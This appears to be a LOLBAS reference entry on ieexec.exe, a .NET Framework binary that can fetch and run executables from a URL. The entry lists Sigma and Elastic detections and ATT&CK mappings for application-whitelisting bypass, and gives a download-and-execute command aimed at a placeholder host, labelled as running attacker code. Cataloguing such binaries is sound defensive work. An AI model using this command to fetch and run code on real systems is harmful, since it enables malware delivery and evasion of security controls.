.. /Ieexec.exe
Star

Download (Remote, EXE (.NET))

Execute (Remote, EXE (.NET))

The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.

Paths:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe

Resources:

https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

Acknowledgements:

Casey Smith (@subtee)

Detections:

Sigma: proc_creation_win_lolbin_ieexec_download.yml
Elastic: defense_evasion_unusual_process_network_connection.toml
Elastic: defense_evasion_misc_lolbin_connecting_to_the_internet.toml
Elastic: defense_evasion_network_connection_from_windows_binary.toml
IOC: Network connections originating from ieexec.exe may be suspicious

Download

Downloads and executes executable from the remote server.
```
ieexec.exe https://www.example.org/file.exe
```
Use case
Download and run attacker code from remote location

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10

ATT&CK® technique
T1105: Ingress Tool Transfer
Tags
Execute: Remote
Execute: EXE (.NET)

Execute

Downloads and executes executable from the remote server.
```
ieexec.exe https://www.example.org/file.exe
```
Use case
Download and run attacker code from remote location

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10

ATT&CK® technique
T1218: System Binary Proxy Execution
Tags
Execute: Remote
Execute: EXE (.NET)